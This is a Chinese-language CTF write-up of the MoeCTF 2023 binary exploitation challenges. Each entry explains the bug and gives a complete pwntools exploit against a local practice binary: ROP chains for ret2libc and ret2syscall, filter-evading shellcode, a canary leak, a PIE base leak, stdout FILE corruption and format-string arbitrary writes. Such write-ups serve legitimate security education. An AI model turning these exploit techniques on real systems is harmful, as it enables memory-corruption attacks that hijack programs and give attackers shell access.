MoeCTF 2023

发布时间 2023-09-11 23:22:09作者: c3n1g

0x01 text64

v1可以由用户操控,直接造成栈溢出。同时程序里存在分开的system函数和"/bin/sh"字符串,所以就是简单的ret2libc1。Exploit为

from pwn import*
o = process("./pwn")

bin_sh = 0x404050
system_plt = 0x401090
pop_rdi = 0x4011BE
ret = 0x4012A4

o.sendline(b"200")
payload = b'a'*88 + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system_plt)
o.sendline(payload)

o.interactive()

0x02 text32

和text64差不多,只不过架构换成了32位,参数传递方式改变以下就行。Exploit为

from pwn import*
o = process("./pwn")

bin_sh = 0x804C02C
system_plt = 0x8049070

o.sendline(b"200")
payload = b'a'*92 + p32(system_plt) + p32(0) + p32(bin_sh)
o.sendline(payload)

o.interactive()

0x03 ret2syscall

如其名,就是简单的ret2syscall,给定了rax、rdi、rsi、rdx寄存器的pop指令和syscall指令,也给了"/bin/sh"字符串

Exploit为

from pwn import*
o = process("./pwn")

pop_rax = 0x40117E
pop_rdi = 0x401180
pop_rsi_rdx = 0x401182
bin_sh = 0x404040
syscall = 0x401185

payload = b'a'*72 + p64(pop_rdi) + p64(bin_sh) + p64(pop_rsi_rdx) + p64(0)*2 + p64(pop_rax) + p64(59) + p64(syscall)
o.sendline(payload)

o.interactive()

0x04 ret2libc

有溢出,并且没给system和"/bin/sh"字符串,所以经典的ret2libc3。Exploit为

from pwn import*
o = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

puts_plt = elf.plt['puts']
read_got = elf.got['read']
vuln = elf.sym['vuln']
pop_rdi = 0x40117E
ret = 0x40122A

o.recv()
payload = b'a'*88 + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(vuln)
o.sendline(payload)

read_addr = u64(o.recv(6)+b'\x00\x00')
libc_base = read_addr - libc.sym['read']
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + libc.search(b'/bin/sh').next()

payload = b'a'*88 + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret) + p64(system_addr)
o.sendline(payload)

o.interactive()

0x05 int_overflow

直接输入对比数字的十进制就行了,在get_input里面atoi会把这个转换为int类型数据,溢出结果就是-114514

0x06 shellcode

shellcode注入题,但是在filter过滤了'\x0f\x05'即syscall,那么就在shellcode里动态的生成最后的syscall就行。后面的一堆代码都是复制shellcode到mmap内存中去执行。Exploit为

from pwn import*
context.arch="amd64"
o = process("./pwn")

# 第一条语句是为了在\x0f后面添加\x05形成syscall
shellcode = '''
mov byte ptr[rax+33], 5
push 0
mov rax, 0x68732f2f6e69622f
push rax
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 59
'''
o.sendline(asm(shellcode)+b'\x0f')
o.interactive()

0x07 shellcode_level0

简单的shellcode注入,Exploit为

from pwn import*
context.arch = 'amd64'
o = process("./pwn")

o.sendline(asm(shellcraft.sh()))
o.interactive()

0x08 shellcode_level1

这道题首先是堆栈不可执行的,要写入并执行shellcode需要可读可写可执行权限,也就是7

只有paper5符合要求,但是在switch中又修改了权限,paper4修改为7了,而paper5修改为0,所以最终输入4符合要求,然后就是简单的shellcode注入。Exploit为

from pwn import*
context.arch = 'amd64'
o = process("./pwn")

o.sendline(b"4")
o.sendline(asm(shellcraft.sh()))
o.interactive()

0x09 shellcode_level2

只需要注入shellcode的时候将第一个字节改为0就行了。Exploit为

from pwn import*
context.arch = 'amd64'
o = process("./pwn")

o.sendline(b'\x00'+asm(shellcraft.sh()))
o.interactive()

0x10 shellcode_level3

只让注入5个字节,但是程序有getshell的程序,所以直接用jmp跳转就行

from pwn import*
context.arch = 'amd64'
o = process("./pwn")

o.sendline(b"\xE9\x48\xD1\xFF\xFF") # jmp相对偏移
o.interactive()

0x11 canary

典型的canary+ret2libc3,先通过第一个read覆盖canary的最后一个字节连带打印出canary,然后再进行ret2libc3操作。Exploit为

from pwn import*
context.log_level = 'debug'
o = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

puts_plt = elf.plt['puts']
read_got = elf.got['read']
vuln = elf.sym['vuln']
pop_rdi = 0x0000000000401343
ret = 0x401344

payload = b'a'*(0x50-7)
o.send(payload)
o.recvuntil(payload)
canary = u64(b"\x00" + o.recv(7))
log.info("canary => 0x%x" % canary)

o.recv()
payload = b'a'*(0x50-8) + p64(canary)*2 + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(vuln)
o.sendline(payload)
o.recvuntil(b"!")
read_addr = u64(o.recv(6)+b"\x00\x00")
libc_base = read_addr - libc.sym['read']
log.info("libc_base => 0x%x" % libc_base)
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh"))

payload = b'a'*(0x50-8) + p64(canary)*2 + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(sys_addr)
o.sendline(payload)
payload = b'a'*(0x50-8) + p64(canary)*2 + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(sys_addr)
o.sendline(payload)
o.interactive()

0x12 pie

虽然开了pie,但是它给了vuln函数的实际地址,就可以算出elf的加载基地址,同时程序里给了system和"/bin/sh"字符串。Exploit为

from pwn import*
context.log_level = 'debug'
o = process("./pwn")
elf = ELF("./pwn")

system_plt = elf.plt['system']
bin_sh = next(elf.search(b'/bin/sh'))
vuln = elf.sym['vuln']
pop_rdi = 0x0000000000001323
ret = 0x128D

o.recvuntil(b"is:")
vuln_addr = int(o.recvline()[:-1], 16)
elf_base = vuln_addr - vuln
log.info("elf_base => 0x%x" % elf_base)
sys_addr = elf_base + system_plt
bin_sh_addr = elf_base + bin_sh
pop_rdi_addr = elf_base + pop_rdi
ret_addr = elf_base + ret

payload = b'a'*88 + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(sys_addr)
o.sendline(payload)
o.interactive()

0x13 fd

dup2函数的作用是将fd旧的文件描述符复制为一个新的new_fd文件描述符,所以fd和new_fd指向的都是同一个文件。open默认打开fd为3,那么new_fd就是670,输入670就能读取出flag文件的内容

0x14 feedback

程序一开始就将flag写到了libc中

而且程序中只有一个数组越界漏洞,并且程序加了PIE。但是feedback_list上面有一个_IO_2_1_stdout的指针

我们可以数组越界来修改IO_FILE来泄露出libc地址,修改的值也很简单

将第一个框中的值修改为0xFBAD1800,第二个框中的值的最后一个字节修改为'\x00'即可。

from pwn import*
context.log_level = 'debug'
o = process("./pwn")

o.sendline(b"-8")
payload = p64(0xFBAD1800) + p64(0)*3 + b'\x00'
o.sendline(payload)

o.interactive()

然后就可以计算出flag保存在的地方。接着通过feedback_list上面的另一处指针

这处指针指向了它自己,然后可以修改其末尾的一个字节指向feedback_list,再通过修改feedback_list的内容为flag地址就可以将其打印出来。Exploit为

from pwn import*
context.log_level = 'debug'
o = process("./pwn")

o.recv()
o.sendline(b"-8")
payload = p64(0xFBAD1800) + p64(0)*3 + b'\x00'
o.sendline(payload)
o.recvuntil(b'\x00'*8)
libc_base = u64(o.recv(8)) - 0x1ec980
log.info(hex(libc_base))
flag = libc_base + 0x1f1700

o.recv()
o.sendline(b"-11")
o.recv()
payload = b'\x68'
o.sendline(payload)
o.recv()
o.sendline(b"-11")
o.recv()
o.sendline(p64(flag))
o.interactive()

0x15 format_level0

它把flag读取到栈里了,而且有格式化字符串漏洞,那么完全可以通过格式化字符串任意读读取flag

断点设置在格式化字符串漏洞处,可以看出flag的栈单元偏移为7,通过%7$p就可以得到flag的前四个字节,然后一次类推得到剩下的

小端序改过来就行

0x16 format_level1

通过格式化字符串漏洞任意写将dragon.HP覆写为0即可

from pwn import*
o = process("./pwn")

o.sendline(b"3")
payload = b"%8$n" + p64(0x804c00c)
o.sendline(payload)
o.sendline(b"1")
o.interactive()

0x17 format_level2

这次attack里面没有调用success函数,但是该函数还是存在于程序中,那么我们可以通过格式化字符串来修改函数返回地址为success函数来获取shell。Exploit为

from pwn import*
o = process("./pwn")

o.sendline(b"3")
o.recv()
payload = b"%p"
o.sendline(payload)
o.recvline()
stack = int(o.recvline()[:-1], 16)
func_ret = stack + 64
o.sendline(b"3")
payload = b"%23p%10$hhn".ljust(12, b'a') + p32(func_ret)
o.send(payload)
o.recv()
o.sendline(b"3")
payload = b"%147p%10$hhn".ljust(12, b'a') + p32(func_ret+1)
o.send(payload)
o.sendline(b"4")
o.interactive()

0x18 format_level3

格式化字符串的参数改为全局了,那就找链表来覆写函数返回地址为success函数。Exploit为

from pwn import*
context.log_level = 'debug'
o = process("./pwn")

o.sendline(b"3")
payload = b"%6$p"
o.recv()
o.sendline(payload)
o.recvline()
stack = int(o.recvline()[:-1], 16)
func_ret = stack + 4

o.sendline(b"3")
payload = "%{}p%6$hhn".format(func_ret & 0xff)
o.sendline(payload.encode())
o.recv()
o.sendline(b"3")
o.recv()
payload = "%{}p%14$hn".format(0x9317)
o.sendline(payload.encode())
o.sendline(b"4")
o.interactive()

0x19 uninitialized_key

在两个函数中age和key的栈地址是一样的,通过调试也可以看出,但是key限制输入5位数字,age则不限制,那么在getname中输入114514,getkey中通过+号绕过输入即可

0x20 uninitialized_key_plus

和上一个差不多,只不过key在name的范围,注意小端序就可以

from pwn import*
o = process("./pwn")

payload = b"a"*20 + p32(0x1BF52)
o.sendline(payload)
o.sendline(b"+")

o.interactive()